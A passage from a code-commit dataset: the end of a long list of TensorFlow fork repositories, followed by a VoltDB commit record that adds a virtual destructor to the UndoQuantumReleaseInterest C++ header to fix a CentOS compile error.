flow,jart\/tensorflow,drpngx\/tensorflow,snnn\/tensorflow,Intel-tensorflow\/tensorflow,pavelchristof\/gomoku-ai,Intel-tensorflow\/tensorflow,ppwwyyxx\/tensorflow,tillahoffmann\/tensorflow,yufengg\/tensorflow,manipopopo\/tensorflow,drpngx\/tensorflow,snnn\/tensorflow,arborh\/tensorflow,adit-chandra\/tensorflow,laszlocsomor\/tensorflow,eadgarchen\/tensorflow,dancingdan\/tensorflow,jart\/tensorflow,jostep\/tensorflow,maciekcc\/tensorflow,AnishShah\/tensorflow,apark263\/tensorflow,unsiloai\/syntaxnet-ops-hack,Bulochkin\/tensorflow_pack,gunan\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow,kevin-coder\/tensorflow-fork,alsrgv\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jendap\/tensorflow,zasdfgbnm\/tensorflow,kevin-coder\/tensorflow-fork,ageron\/tensorflow,Mistobaan\/tensorflow,aselle\/tensorflow,aselle\/tensorflow,alshedivat\/tensorflow,jalexvig\/tensorflow,yufengg\/tensorflow,gojira\/tensorflow,meteorcloudy\/tensorflow,aam-at\/tensorflow,hfp\/tensorflow-xsmm,snnn\/tensorflow,Mistobaan\/tensorflow,Bismarrck\/tensorflow,ZhangXinNan\/tensorflow,annarev\/tensorflow,lukeiwanski\/tensorflow,av8ramit\/tensorflow,gautam1858\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,brchiu\/tensorflow,davidzchen\/tensorflow,ageron\/tensorflow,yufengg\/tensorflow,a-doumoulakis\/tensorflow,paolodedios\/tensorflow,tornadozou\/tensorflow,gojira\/tensorflow,mixturemodel-flow\/tensorflow,hehongliang\/tensorflow,hfp\/tensorflow-xsmm,asimshankar\/tensorflow,jalexvig\/tensorflow,AnishShah\/tensorflow,arborh\/tensorflow,meteorcloudy\/tensorflow,chemelnucfin\/tensorflow,rabipanda\/tensorflow,kevin-coder\/tensorflow-fork,alsrgv\/tensorflow,theflofly\/tensorflow,ran5515\/DeepDecision,tiagofrepereira2012\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,codrut3\/tensorflow,Intel-Corporation\/tensorflow,Bismarrck\/tensorflow,benoitsteiner\/tensorflow-opencl,alshedivat\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,drpngx\/tensorflow,kevin-coder\/tensorflow-fork,gautam1858\/tensorflow,drpngx\/tensorflow,chemelnucfin\/tensorflow,eaplatanios\/tensorflow,tornadozou\/tensorflow,ageron\/tensorflow,jostep\/tensorflow,alistairlow\/tensorflow,maciekcc\/tensorflow,hehongliang\/tensorflow,lukeiwanski\/tensorflow,ghchinoy\/tensorflow,cxxgtxy\/tensorflow,tensorflow\/tensorflow,ychfan\/tensorflow,davidzchen\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,kobejean\/tensorflow,alistairlow\/tensorflow,JVillella\/tensorflow,jwlawson\/tensorflow,allenlavoie\/tensorflow,asimshankar\/tensorflow,benoitsteiner\/tensorflow-xsmm,andrewcmyers\/tensorflow,yongtang\/tensorflow,drpngx\/tensorflow,aselle\/tensorflow,Xeralux\/tensorflow,aselle\/tensorflow,eadgarchen\/tensorflow,jart\/tensorflow,bowang\/tensorflow,jendap\/tensorflow,Mazecreator\/tensorflow,apark263\/tensorflow,AnishShah\/tensorflow,brchiu\/tensorflow,hsaputra\/tensorflow,mdrumond\/tensorflow,a-doumoulakis\/tensorflow,freedomtan\/tensorflow,zasdfgbnm\/tensorflow,ArtsiomCh\/tensorflow,alsrgv\/tensorflow,dendisuhubdy\/tensorflow,bowang\/tensorflow,arborh\/tensorflow,asimshankar\/tensorflow,lakshayg\/tensorflow,AnishShah\/tensorflow,alsrgv\/tensorflow,alsrgv\/tensorflow,ppwwyyxx\/tensorflow,jart\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,dongjoon-hyun\/tensorflow,zycdragonball\/tensorflow,JingJunYin\/tensorflow,apark263\/tensorflow,hsaputra\/tensorflow,suiyuan2009\/tensorflow,alshedivat\/tensorflow,kevin-coder\/tensorflow-fork,adamtiger\/tensorflow,nolanliou\/tensorflow,mixturemodel-flow\/tensorflow,dyoung418\/tensorflow,hfp\/tensorflow-xsmm,DavidNorman\/tensorflow,Xeralux\/tensorflow,AnishShah\/tensorflow,gojira\/tensorflow,ppwwyyxx\/tensorflow,davidzchen\/tensorflow,kobejean\/tensorflow,DavidNorman\/tensorflow,manazhao\/tf_recsys,ghchinoy\/tensorflow,dancingdan\/tensorflow,Mistobaan\/tensorflow,annarev\/tensorflow,dancingdan\/tensorflow,tillahoffmann\/tensorflow,lakshayg\/tensorflow,sarvex\/tensorflow,av8ramit\/tensorflow,jendap\/tensorflow,cxxgtxy\/tensorflow,asimshankar\/tensorflow,dendisuhubdy\/tensorflow,Intel-tensorflow\/tensorflow,allenlavoie\/tensorflow,caisq\/tensorflow,AnishShah\/tensorflow,nburn42\/tensorflow,raymondxyang\/tensorflow,aselle\/tensorflow,hsaputra\/tensorflow,laszlocsomor\/tensorflow,girving\/tensorflow,renyi533\/tensorflow,DavidNorman\/tensorflow,lukeiwanski\/tensorflow,codrut3\/tensorflow,kobejean\/tensorflow,benoitsteiner\/tensorflow-xsmm,aldian\/tensorflow,pavelchristof\/gomoku-ai,renyi533\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,paolodedios\/tensorflow,yongtang\/tensorflow,JVillella\/tensorflow,gunan\/tensorflow,aldian\/tensorflow,horance-liu\/tensorflow,dongjoon-hyun\/tensorflow,gojira\/tensorflow,theflofly\/tensorflow,nburn42\/tensorflow,AnishShah\/tensorflow,yongtang\/tensorflow,nburn42\/tensorflow,mixturemodel-flow\/tensorflow,adamtiger\/tensorflow,xzturn\/tensorflow,jendap\/tensorflow,chemelnucfin\/tensorflow,a-doumoulakis\/tensorflow,benoitsteiner\/tensorflow-xsmm,adit-chandra\/tensorflow,apark263\/tensorflow,benoitsteiner\/tensorflow-xsmm,ZhangXinNan\/tensorflow,apark263\/tensorflow,caisq\/tensorflow,ageron\/tensorflow,mdrumond\/tensorflow,guschmue\/tensorflow,zasdfgbnm\/tensorflow,jhseu\/tensorflow,benoitsteiner\/tensorflow-opencl,renyi533\/tensorflow,horance-liu\/tensorflow,meteorcloudy\/tensorflow,annarev\/tensorflow,snnn\/tensorflow,JingJunYin\/tensorflow,eadgarchen\/tensorflow,ghchinoy\/tensorflow,manazhao\/tf_recsys,xzturn\/tensorflow,alshedivat\/tensorflow,sarvex\/tensorflow,a-doumoulakis\/tensorflow,dyoung418\/tensorflow,kobejean\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-pywrap_tf_optimizer,dyoung418\/tensorflow,lukeiwanski\/tensorflow,nburn42\/tensorflow,allenlavoie\/tensorflow,Intel-tensorflow\/tensorflow,meteorcloudy\/tensorflow,tillahoffmann\/tensorflow,zycdragonball\/tensorflow,mixturemodel-flow\/tensorflow,JingJunYin\/tensorflow,jart\/tensorflow,xzturn\/tensorflow,seanli9jan\/tensorflow,freedomtan\/tensorflow,brchiu\/tensorflow,gunan\/tensorflow,renyi533\/tensorflow,andrewcmyers\/tensorflow,yufengg\/tensorflow,yongtang\/tensorflow,a-doumoulakis\/tensorflow,dyoung418\/tensorflow,theflofly\/tensorflow,theflofly\/tensorflow,Moriadry\/tensorflow,andrewcmyers\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,tiagofrepereira2012\/tensorflow,ArtsiomCh\/tensorflow,gojira\/tensorflow,hehongliang\/tensorflow,adit-chandra\/tensorflow,jalexvig\/tensorflow,jalexvig\/tensorflow,unsiloai\/syntaxnet-ops-hack,renyi533\/tensorflow,bowang\/tensorflow,hehongliang\/tensorflow,manazhao\/tf_recsys,hsaputra\/tensorflow,dongjoon-hyun\/tensorflow,frreiss\/tensorflow-fred,ravindrapanda\/tensorflow,Mistobaan\/tensorflow,ZhangXinNan\/tensorflow,drpngx\/tensorflow,karllessard\/tensorflow,andrewcmyers\/tensorflow,theflofly\/tensorflow,yongtang\/tensorflow,girving\/tensorflow,dyoung418\/tensorflow,sarvex\/tensorflow,Moriadry\/tensorflow,eaplatanios\/tensorflow,aam-at\/tensorflow,jbedorf\/tensorflow,kobejean\/tensorflow,JVillella\/tensorflow,frreiss\/tensorflow-fred,av8ramit\/tensorflow,horance-liu\/tensorflow,arborh\/tensorflow,JingJunYin\/tensorflow,arborh\/tensorflow,gautam1858\/tensorflow,Mazecreator\/tensorflow,guschmue\/tensorflow,yanchen036\/tensorflow,mavenlin\/tensorflow,ZhangXinNan\/tensorflow,apark263\/tensorflow,drpngx\/tensorflow,suiyuan2009\/tensorflow,rabipanda\/tensorflow,caisq\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Kongsea\/tensorflow,kevin-coder\/tensorflow-fork,Mistobaan\/tensorflow,Intel-tensorflow\/tensorflow,ppwwyyxx\/tensorflow,Intel-tensorflow\/tensorflow,aselle\/tensorflow,manazhao\/tf_recsys,jwlawson\/tensorflow,asimshankar\/tensorflow,pavelchristof\/gomoku-ai,girving\/tensorflow,ishay2b\/tensorflow,kobejean\/tensorflow,Xeralux\/tensorflow,jendap\/tensorflow,laszlocsomor\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow,renyi533\/tensorflow,benoitsteiner\/tensorflow-opencl,jwlawson\/tensorflow,Bulochkin\/tensorflow_pack,renyi533\/tensorflow,adit-chandra\/tensorflow,jendap\/tensorflow,ishay2b\/tensorflow,ArtsiomCh\/tensorflow,rabipanda\/tensorflow,ran5515\/DeepDecision,adit-chandra\/tensorflow,jart\/tensorflow,alshedivat\/tensorflow,mdrumond\/tensorflow,jwlawson\/tensorflow,seanli9jan\/tensorflow,yanchen036\/tensorflow,paolodedios\/tensorflow,xodus7\/tensorflow,alivecor\/tensorflow,apark263\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,meteorcloudy\/tensorflow,jendap\/tensorflow,adit-chandra\/tensorflow,jalexvig\/tensorflow,dongjoon-hyun\/tensorflow,hsaputra\/tensorflow,ishay2b\/tensorflow,zasdfgbnm\/tensorflow,Xeralux\/tensorflow,tornadozou\/tensorflow,alsrgv\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Bismarrck\/tensorflow,Mistobaan\/tensorflow,hsaputra\/tensorflow,raymondxyang\/tensorflow,gojira\/tensorflow,Intel-Corporation\/tensorflow,Moriadry\/tensorflow,Moriadry\/tensorflow,mavenlin\/tensorflow,jart\/tensorflow,freedomtan\/tensorflow,benoitsteiner\/tensorflow-opencl,hehongliang\/tensorflow,kevin-coder\/tensorflow-fork,tensorflow\/tensorflow-pywrap_tf_optimizer,manazhao\/tf_recsys,tensorflow\/tensorflow,dongjoon-hyun\/tensorflow,yongtang\/tensorflow,xodus7\/tensorflow,Moriadry\/tensorflow,kevin-coder\/tensorflow-fork,tensorflow\/tensorflow,karllessard\/tensorflow,dancingdan\/tensorflow,unsiloai\/syntaxnet-ops-hack,caisq\/tensorflow,bowang\/tensorflow,tillahoffmann\/tensorflow,frreiss\/tensorflow-fred,kobejean\/tensorflow,raymondxyang\/tensorflow,tillahoffmann\/tensorflow,chemelnucfin\/tensorflow,alivecor\/tensorflow,bowang\/tensorflow,av8ramit\/tensorflow,alshedivat\/tensorflow,allenlavoie\/tensorflow,manipopopo\/tensorflow,asimshankar\/tensorflow,caisq\/tensorflow,nolanliou\/tensorflow,yongtang\/tensorflow,petewarden\/tensorflow,JingJunYin\/tensorflow,Mistobaan\/tensorflow,with-git\/tensorflow,meteorcloudy\/tensorflow,laszlocsomor\/tensorflow,ghchinoy\/tensorflow,theflofly\/tensorflow,nburn42\/tensorflow,JingJunYin\/tensorflow,dendisuhubdy\/tensorflow,jbedorf\/tensorflow,hfp\/tensorflow-xsmm,ghchinoy\/tensorflow,aldian\/tensorflow,pavelchristof\/gomoku-ai,lukeiwanski\/tensorflow,kobejean\/tensorflow,horance-liu\/tensorflow,alshedivat\/tensorflow,ageron\/tensorflow,hehongliang\/tensorflow,brchiu\/tensorflow,jendap\/tensorflow,ishay2b\/tensorflow,mixturemodel-flow\/tensorflow,jendap\/tensorflow,frreiss\/tensorflow-fred,horance-liu\/tensorflow,ran5515\/DeepDecision,av8ramit\/tensorflow,gautam1858\/tensorflow,rabipanda\/tensorflow,jhseu\/tensorflow,alivecor\/tensorflow,ppwwyyxx\/tensorflow,snnn\/tensorflow,mixturemodel-flow\/tensorflow,with-git\/tensorflow,renyi533\/tensorflow,ageron\/tensorflow,JingJunYin\/tensorflow,tensorflow\/tensorflow,xodus7\/tensorflow,seanli9jan\/tensorflow,Bulochkin\/tensorflow_pack,alshedivat\/tensorflow,hfp\/tensorflow-xsmm,seanli9jan\/tensorflow,Xeralux\/tensorflow,laszlocsomor\/tensorflow,benoitsteiner\/tensorflow-xsmm,zasdfgbnm\/tensorflow,Xeralux\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,rabipanda\/tensorflow,gojira\/tensorflow,tiagofrepereira2012\/tensorflow,Bismarrck\/tensorflow,pavelchristof\/gomoku-ai,ArtsiomCh\/tensorflow,gunan\/tensorflow,jart\/tensorflow,aam-at\/tensorflow,drpngx\/tensorflow,JVillella\/tensorflow,jhseu\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,brchiu\/tensorflow,hfp\/tensorflow-xsmm,eadgarchen\/tensorflow,alistairlow\/tensorflow,freedomtan\/tensorflow,Mistobaan\/tensorflow,Kongsea\/tensorflow,ychfan\/tensorflow,guschmue\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,chemelnucfin\/tensorflow,jwlawson\/tensorflow,Xeralux\/tensorflow,xzturn\/tensorflow,lakshayg\/tensorflow,Intel-tensorflow\/tensorflow,Moriadry\/tensorflow,ageron\/tensorflow,Bulochkin\/tensorflow_pack,jart\/tensorflow,zasdfgbnm\/tensorflow,JVillella\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tornadozou\/tensorflow,av8ramit\/tensorflow,Mazecreator\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jwlawson\/tensorflow,annarev\/tensorflow,jwlawson\/tensorflow,zasdfgbnm\/tensorflow,caisq\/tensorflow,rabipanda\/tensorflow,eaplatanios\/tensorflow,DavidNorman\/tensorflow,dyoung418\/tensorflow,paolodedios\/tensorflow,DavidNorman\/tensorflow,with-git\/tensorflow,meteorcloudy\/tensorflow,tensorflow\/tensorflow,ravindrapanda\/tensorflow,kobejean\/tensorflow,asimshankar\/tensorflow,av8ramit\/tensorflow,Bismarrck\/tensorflow,a-doumoulakis\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gunan\/tensorflow,manipopopo\/tensorflow,xzturn\/tensorflow,ArtsiomCh\/tensorflow,benoitsteiner\/tensorflow-xsmm,jalexvig\/tensorflow,jbedorf\/tensorflow,karllessard\/tensorflow,rabipanda\/tensorflow,sarvex\/tensorflow,zycdragonball\/tensorflow,allenlavoie\/tensorflow,caisq\/tensorflow,dyoung418\/tensorflow,benoitsteiner\/tensorflow-opencl,theflofly\/tensorflow,asimshankar\/tensorflow,ghchinoy\/tensorflow,codrut3\/tensorflow,meteorcloudy\/tensorflow,alistairlow\/tensorflow,frreiss\/tensorflow-fred,yanchen036\/tensorflow,nburn42\/tensorflow,aldian\/tensorflow,annarev\/tensorflow,frreiss\/tensorflow-fred,zycdragonball\/tensorflow,karllessard\/tensorflow,petewarden\/tensorflow,paolodedios\/tensorflow,benoitsteiner\/tensorflow-xsmm,apark263\/tensorflow,aldian\/tensorflow,nolanliou\/tensorflow,chemelnucfin\/tensorflow,xodus7\/tensorflow,Bulochkin\/tensorflow_pack,frreiss\/tensorflow-fred,laszlocsomor\/tensorflow,ravindrapanda\/tensorflow,mdrumond\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,ishay2b\/tensorflow,Bulochkin\/tensorflow_pack,suiyuan2009\/tensorflow,xodus7\/tensorflow,benoitsteiner\/tensorflow-opencl,with-git\/tensorflow,alistairlow\/tensorflow,lakshayg\/tensorflow,eaplatanios\/tensorflow,nolanliou\/tensorflow,av8ramit\/tensorflow,yongtang\/tensorflow,chemelnucfin\/tensorflow,aselle\/tensorflow,adit-chandra\/tensorflow,jart\/tensorflow,hsaputra\/tensorflow,ran5515\/DeepDecision,petewarden\/tensorflow,ychfan\/tensorflow,davidzchen\/tensorflow,Mazecreator\/tensorflow,xodus7\/tensorflow,horance-liu\/tensorflow,freedomtan\/tensorflow,mdrumond\/tensorflow,jhseu\/tensorflow,lakshayg\/tensorflow,kevin-coder\/tensorflow-fork,Kongsea\/tensorflow,alsrgv\/tensorflow,Kongsea\/tensorflow,apark263\/tensorflow,petewarden\/tensorflow,guschmue\/tensorflow,aam-at\/tensorflow,lukeiwanski\/tensorflow,tiagofrepereira2012\/tensorflow,Bismarrck\/tensorflow,arborh\/tensorflow,jbedorf\/tensorflow,horance-liu\/tensorflow,nolanliou\/tensorflow,alsrgv\/tensorflow,alistairlow\/tensorflow,girving\/tensorflow,eaplatanios\/tensorflow,snnn\/tensorflow,allenlavoie\/tensorflow,Intel-Corporation\/tensorflow,alistairlow\/tensorflow,cxxgtxy\/tensorflow,mavenlin\/tensorflow,zasdfgbnm\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,laszlocsomor\/tensorflow,mavenlin\/tensorflow,gunan\/tensorflow,codrut3\/tensorflow,Mistobaan\/tensorflow,jhseu\/tensorflow,ran5515\/DeepDecision,Kongsea\/tensorflow,alivecor\/tensorflow,jbedorf\/tensorflow,xodus7\/tensorflow,Bulochkin\/tensorflow_pack,ppwwyyxx\/tensorflow,alistairlow\/tensorflow,dongjoon-hyun\/tensorflow,annarev\/tensorflow,with-git\/tensorflow,jwlawson\/tensorflow,Moriadry\/tensorflow,nolanliou\/tensorflow,JingJunYin\/tensorflow,petewarden\/tensorflow,eadgarchen\/tensorflow,dendisuhubdy\/tensorflow,suiyuan2009\/tensorflow,jhseu\/tensorflow,ravindrapanda\/tensorflow,eaplatanios\/tensorflow,Intel-Corporation\/tensorflow,Intel-Corporation\/tensorflow,ghchinoy\/tensorflow,JVillella\/tensorflow,davidzchen\/tensorflow,jhseu\/tensorflow,ppwwyyxx\/tensorflow,paolodedios\/tensorflow,ZhangXinNan\/tensorflow,codrut3\/tensorflow,laszlocsomor\/tensorflow,dongjoon-hyun\/tensorflow,gunan\/tensorflow,ageron\/tensorflow,seanli9jan\/tensorflow,maciekcc\/tensorflow,Bulochkin\/tensorflow_pack,raymondxyang\/tensorflow,lakshayg\/tensorflow,allenlavoie\/tensorflow,dancingdan\/tensorflow,lakshayg\/tensorflow,seanli9jan\/tensorflow,rabipanda\/tensorflow,sarvex\/tensorflow,aam-at\/tensorflow,girving\/tensorflow,aselle\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,kevin-coder\/tensorflow-fork,manazhao\/tf_recsys,raymondxyang\/tensorflow,ravindrapanda\/tensorflow,ychfan\/tensorflow,jostep\/tensorflow,gunan\/tensorflow,Kongsea\/tensorflow,DavidNorman\/tensorflow,ravindrapanda\/tensorflow,laszlocsomor\/tensorflow,ghchinoy\/tensorflow,tensorflow\/tensorflow,alistairlow\/tensorflow,guschmue\/tensorflow,yufengg\/tensorflow,ychfan\/tensorflow,codrut3\/tensorflow,guschmue\/tensorflow,davidzchen\/tensorflow,mdrumond\/tensorflow,Kongsea\/tensorflow,av8ramit\/tensorflow,alivecor\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tillahoffmann\/tensorflow,xzturn\/tensorflow,jbedorf\/tensorflow,Mazecreator\/tensorflow,jhseu\/tensorflow,xzturn\/tensorflow,dendisuhubdy\/tensorflow,ghchinoy\/tensorflow,with-git\/tensorflow,unsiloai\/syntaxnet-ops-hack,JVillella\/tensorflow,benoitsteiner\/tensorflow-xsmm,aldian\/tensorflow,girving\/tensorflow,arborh\/tensorflow,ghchinoy\/tensorflow,bowang\/tensorflow,tiagofrepereira2012\/tensorflow,lukeiwanski\/tensorflow,arborh\/tensorflow,laszlocsomor\/tensorflow,dendisuhubdy\/tensorflow,jhseu\/tensorflow,DavidNorman\/tensorflow,jhseu\/tensorflow,aam-at\/tensorflow,codrut3\/tensorflow,Bismarrck\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,petewarden\/tensorflow,brchiu\/tensorflow,dancingdan\/tensorflow,zycdragonball\/tensorflow,ageron\/tensorflow,eadgarchen\/tensorflow,maciekcc\/tensorflow,adit-chandra\/tensorflow,adit-chandra\/tensorflow,JingJunYin\/tensorflow,frreiss\/tensorflow-fred,asimshankar\/tensorflow,paolodedios\/tensorflow,dancingdan\/tensorflow,manipopopo\/tensorflow,yanchen036\/tensorflow,nburn42\/tensorflow,codrut3\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,dancingdan\/tensorflow,tensorflow\/tensorflow,seanli9jan\/tensorflow,horance-liu\/tensorflow,theflofly\/tensorflow,maciekcc\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,av8ramit\/tensorflow,manipopopo\/tensorflow,petewarden\/tensorflow,guschmue\/tensorflow,DavidNorman\/tensorflow,jalexvig\/tensorflow,Mistobaan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,tensorflow\/tensorflow-experimental_link_static_libraries_once,ran5515\/DeepDecision,tillahoffmann\/tensorflow,Bismarrck\/tensorflow,alshedivat\/tensorflow,Bismarrck\/tensorflow,manipopopo\/tensorflow,Xeralux\/tensorflow,adamtiger\/tensorflow,frreiss\/tensorflow-fred,allenlavoie\/tensorflow,theflofly\/tensorflow,aam-at\/tensorflow,mavenlin\/tensorflow,allenlavoie\/tensorflow,gojira\/tensorflow,gautam1858\/tensorflow,andrewcmyers\/tensorflow,renyi533\/tensorflow,freedomtan\/tensorflow,Moriadry\/tensorflow,rabipanda\/tensorflow,meteorcloudy\/tensorflow,mavenlin\/tensorflow,dancingdan\/tensorflow,ravindrapanda\/tensorflow,av8ramit\/tensorflow,gunan\/tensorflow,jbedorf\/tensorflow,unsiloai\/syntaxnet-ops-hack,dongjoon-hyun\/tensorflow,tiagofrepereira2012\/tensorflow,drpngx\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow,jbedorf\/tensorflow,xzturn\/tensorflow,hfp\/tensorflow-xsmm,jwlawson\/tensorflow,mdrumond\/tensorflow,eadgarchen\/tensorflow,eaplatanios\/tensorflow,cxxgtxy\/tensorflow,alsrgv\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,apark263\/tensorflow,horance-liu\/tensorflow,mavenlin\/tensorflow,a-doumoulakis\/tensorflow,zasdfgbnm\/tensorflow,snnn\/tensorflow,hfp\/tensorflow-xsmm,caisq\/tensorflow,Xeralux\/tensorflow,pavelchristof\/gomoku-ai,karllessard\/tensorflow,snnn\/tensorflow,jbedorf\/tensorflow,snnn\/tensorflow,ravindrapanda\/tensorflow,ychfan\/tensorflow,xzturn\/tensorflow,alshedivat\/tensorflow,nburn42\/tensorflow,nburn42\/tensorflow,renyi533\/tensorflow,davidzchen\/tensorflow,dancingdan\/tensorflow,alivecor\/tensorflow,seanli9jan\/tensorflow,allenlavoie\/tensorflow,ZhangXinNan\/tensorflow,DavidNorman\/tensorflow,dancingdan\/tensorflow,ZhangXinNan\/tensorflow,raymondxyang\/tensorflow,brchiu\/tensorflow,tornadozou\/tensorflow,karllessard\/tensorflow,benoitsteiner\/tensorflow-opencl,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tornadozou\/tensorflow,Bulochkin\/tensorflow_pack,jostep\/tensorflow,cxxgtxy\/tensorflow,davidzchen\/tensorflow,Bismarrck\/tensorflow,asimshankar\/tensorflow,girving\/tensorflow,tensorflow\/tensorflow,ageron\/tensorflow,snnn\/tensorflow,jostep\/tensorflow,Xeralux\/tensorflow,guschmue\/tensorflow,dongjoon-hyun\/tensorflow,dendisuhubdy\/tensorflow,benoitsteiner\/tensorflow-xsmm,brchiu\/tensorflow,jendap\/tensorflow,adamtiger\/tensorflow,gojira\/tensorflow,hfp\/tensorflow-xsmm,tensorflow\/tensorflow-experimental_link_static_libraries_once,freedomtan\/tensorflow,manipopopo\/tensorflow,theflofly\/tensorflow,raymondxyang\/tensorflow,codrut3\/tensorflow,sarvex\/tensorflow,DavidNorman\/tensorflow,Intel-tensorflow\/tensorflow,seanli9jan\/tensorflow,unsiloai\/syntaxnet-ops-hack,gojira\/tensorflow,alsrgv\/tensorflow,girving\/tensorflow,pavelchristof\/gomoku-ai,apark263\/tensorflow,sarvex\/tensorflow,arborh\/tensorflow,hfp\/tensorflow-xsmm,ishay2b\/tensorflow,chemelnucfin\/tensorflow,petewarden\/tensorflow,with-git\/tensorflow,suiyuan2009\/tensorflow,drpngx\/tensorflow,ychfan\/tensorflow,theflofly\/tensorflow,jostep\/tensorflow,lakshayg\/tensorflow,hsaputra\/tensorflow,ppwwyyxx\/tensorflow,Intel-tensorflow\/tensorflow,annarev\/tensorflow,asimshankar\/tensorflow,aam-at\/tensorflow,ran5515\/DeepDecision,nolanliou\/tensorflow,AnishShah\/tensorflow,dongjoon-hyun\/tensorflow,cxxgtxy\/tensorflow,ppwwyyxx\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,xodus7\/tensorflow,DavidNorman\/tensorflow,jalexvig\/tensorflow,brchiu\/tensorflow,kobejean\/tensorflow,gautam1858\/tensorflow,renyi533\/tensorflow,xzturn\/tensorflow,hsaputra\/tensorflow,caisq\/tensorflow,jbedorf\/tensorflow,nburn42\/tensorflow,Intel-Corporation\/tensorflow,ZhangXinNan\/tensorflow,eadgarchen\/tensorflow,alivecor\/tensorflow,ghchinoy\/tensorflow,dendisuhubdy\/tensorflow,yanchen036\/tensorflow,Bismarrck\/tensorflow,seanli9jan\/tensorflow,xodus7\/tensorflow,davidzchen\/tensorflow,alsrgv\/tensorflow,brchiu\/tensorflow,Mazecreator\/tensorflow,ppwwyyxx\/tensorflow,tillahoffmann\/tensorflow,davidzchen\/tensorflow,pavelchristof\/gomoku-ai,mdrumond\/tensorflow,kevin-coder\/tensorflow-fork,alivecor\/tensorflow,ageron\/tensorflow,jalexvig\/tensorflow,yanchen036\/tensorflow,nolanliou\/tensorflow,ZhangXinNan\/tensorflow,aldian\/tensorflow,alsrgv\/tensorflow,ArtsiomCh\/tensorflow,ArtsiomCh\/tensorflow,jwlawson\/tensorflow,ArtsiomCh\/tensorflow,Kongsea\/tensorflow,eaplatanios\/tensorflow,girving\/tensorflow,maciekcc\/tensorflow,karllessard\/tensorflow,ppwwyyxx\/tensorflow,Mazecreator\/tensorflow,jalexvig\/tensorflow,suiyuan2009\/tensorflow,Bulochkin\/tensorflow_pack,paolodedios\/tensorflow,dyoung418\/tensorflow,freedomtan\/tensorflow,freedomtan\/tensorflow,DavidNorman\/tensorflow,yufengg\/tensorflow,yufengg\/tensorflow,Xeralux\/tensorflow,AnishShah\/tensorflow,jwlawson\/tensorflow,with-git\/tensorflow,chemelnucfin\/tensorflow"}
{"commit":"f0705ea08c9c53f13113f60db2bea9786d7738bb","old_file":"src\/ee\/common\/UndoQuantumReleaseInterest.h","new_file":"src\/ee\/common\/UndoQuantumReleaseInterest.h","old_contents":"\/* This file is part of VoltDB.\n * Copyright (C) 2008-2010 VoltDB Inc.\n *\n * VoltDB is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * VoltDB is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with VoltDB.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef UNDOQUANTUM_RELEASE_INTEREST_H_\n#define UNDOQUANTUM_RELEASE_INTEREST_H_\n\nnamespace voltdb {\nclass UndoQuantumReleaseInterest {\npublic:\n    virtual void notifyQuantumRelease() = 0;\n};\n}\n\n#endif \/* UNDOQUANTUM_H_ *\/\n","new_contents":"\/* This file is part of VoltDB.\n * Copyright (C) 2008-2010 VoltDB Inc.\n *\n * VoltDB is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * VoltDB is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with VoltDB.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef UNDOQUANTUM_RELEASE_INTEREST_H_\n#define UNDOQUANTUM_RELEASE_INTEREST_H_\n\nnamespace voltdb {\nclass UndoQuantumReleaseInterest {\npublic:\n    virtual void notifyQuantumRelease() = 0;\n    virtual ~UndoQuantumReleaseInterest() {}\n};\n}\n\n#endif \/* UNDOQUANTUM_H_ *\/\n","subject":"Fix compile error on CentOS","message":"Fix compile error on 